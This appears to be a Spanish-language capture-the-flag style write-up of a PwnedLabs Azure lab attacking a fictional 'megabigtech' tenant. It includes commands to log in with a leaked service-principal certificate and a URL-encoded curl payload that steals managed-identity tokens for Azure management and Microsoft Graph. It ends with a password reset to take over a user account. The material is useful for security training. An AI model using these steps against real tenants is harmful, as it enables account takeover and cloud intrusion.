Passwordless Credentials for Access and Escalation

Passwordless Credentials for Access and Escalation


Azure PwnedLabs

Disconnect-AzAccount

az logout

Lo primero que todo es tratar de desconectar y empezar desde 0.

python3 azsubenum.py -b megabigtech -p permutations.txt

ssh_command.

Esto genera una lista de cuentas de megabigtech en la cual megabigtechinternal es la que llama la atencion.

for word in $(cat ./permutations.txt); do echo <name>:$word >> namelist; done

python basicblobfinder.py namelist

ssh_command.

Bajamos los archivos ApplicationIDs.csv y sp.pfx

csvtool readable ApplicationIDs.csv

ssh_command.

open sp.pfx

Y nos damos cuenta que tiene una llave RSA.

ssh_command.

Nuestro siguiente paso es conseguir el tenant Id. Podemos ir a

https://gettenantpartitionweb.azurewebsites.net/

ssh_command.

Abrimos roadrecon y buscamos HrPortal

ssh_command.

Get-ChildItem -Path C:\Users\user1\Downloads\sp.pfx | Import-PfxCertificate -CertStoreLocation Cert:\CurrentUser\My -Exportable

ssh_command.

openssl x509 -in sp.pem -noout -fingerprint -sha1

ssh_command.

Vamos a convertir el archivo pfx a pem.

openssl pkcs12 -in sp.pfx -out sp.pem -nodes -clcerts

ssh_command.

No introducimos una contrasena ya que no es necesario.

az login --service-principal -u "20acc5dd-ffd4-41ac-a1a5-d381329da49a" --certificate sp.pem --tenant "2590ccef-687d-493b-ae8d-441cbab63a72"

ssh_command.

ssh_command.

Connect-AzAccount -AccountId "20acc5dd-ffd4-41ac-a1a5-d381329da49a" -AccessToken "ey..."

Get-AzResource

ssh_command.

az resource list --query "[].{ID:id,Name:name,Type:type,Identity:identity,ResourceGroup:resourceGroup}"

ssh_command.

ssh_command.

Get-AzRoleAssignment -Scope "/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94" | Select-Object DisplayName, RoleDefinitionName

ssh_command.

whatweb 'https://megabigtech-hr-portal.azurewebsites.net'

ssh_command.

Nos damos cuenta que esta en un servidor linux.

ssh_command.

az webapp show -n megabigtech-hr-portal -g mbt-rg-12 --query "enabledHostNames" -o table

ssh_command.

Nos dirigimos a la pagina web https://megabigtech-hr-portal.azurewebsites.net/

ssh_command.

dirsearch -u https://megabigtech-hr-portal.azurewebsites.net/portal -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -f p

ssh_command.

ssh_command.

Al correr estos comandos nos da las credenciales para poder iniciar sesion por ftp

ssh_command.

ssh_command.

env

Nos despliega las variables de entorno.

ssh_command.

curl%20-s%20-H%20%22X-Identity-Header%3A%20%24IDENTITY_HEADER%22%20%22%24IDENTITY_ENDPOINT%3Fapi-version%3D2019-08-01%26resource%3Dhttps%3A%2F%2Fmanagement.azure.com%2F%22

ssh_command.

Nos dirigimos a https://jwt.ms y agregamos el token.

ssh_command.

Adquirimos el token y iniciamos sesion.

Connect-AzAccount -AccountId "NA" -AccessToken "ey..."

ssh_command.

Desplegamos los recursos asignados a nosotros

ssh_command.

curl%20-s%20-H%20%22X-Identity-Header%3A%20%24IDENTITY_HEADER%22%20%22%24IDENTITY_ENDPOINT%3Fapi-version%3D2019-08-01%26resource%3Dhttps%3A%2F%2Fgraph.microsoft.com%2F%22

ssh_command.

ssh_command.

Tratamos de iniciar sesion.

ssh_command.

Y con el script en powershell vemos los recursos en los cuales tenemos acceso.

ssh_command.

ssh_command.

Vemos que se creo una unidad administrativa para recursos humanos.

ssh_command.

ssh_command.

El script nos despliega el miembro del grupo llamada seline.

ssh_command.

ssh_command.

Despues encontramos el rol id para este miembro.

ssh_command.

ssh_command.

Ahora reseteamos la contrasena de Seline y tenemos acceso.

Update-mgUser -userid 'Seline.Diaz@megabigtech.com' -PasswordProfile @{password ="NewPass123!"; forceChangePasswordNextSignIn= $true}

ssh_command.

az login

ssh_command.

ssh_command.

1

az account show

ssh_command.

© 2025 Cu3rv0x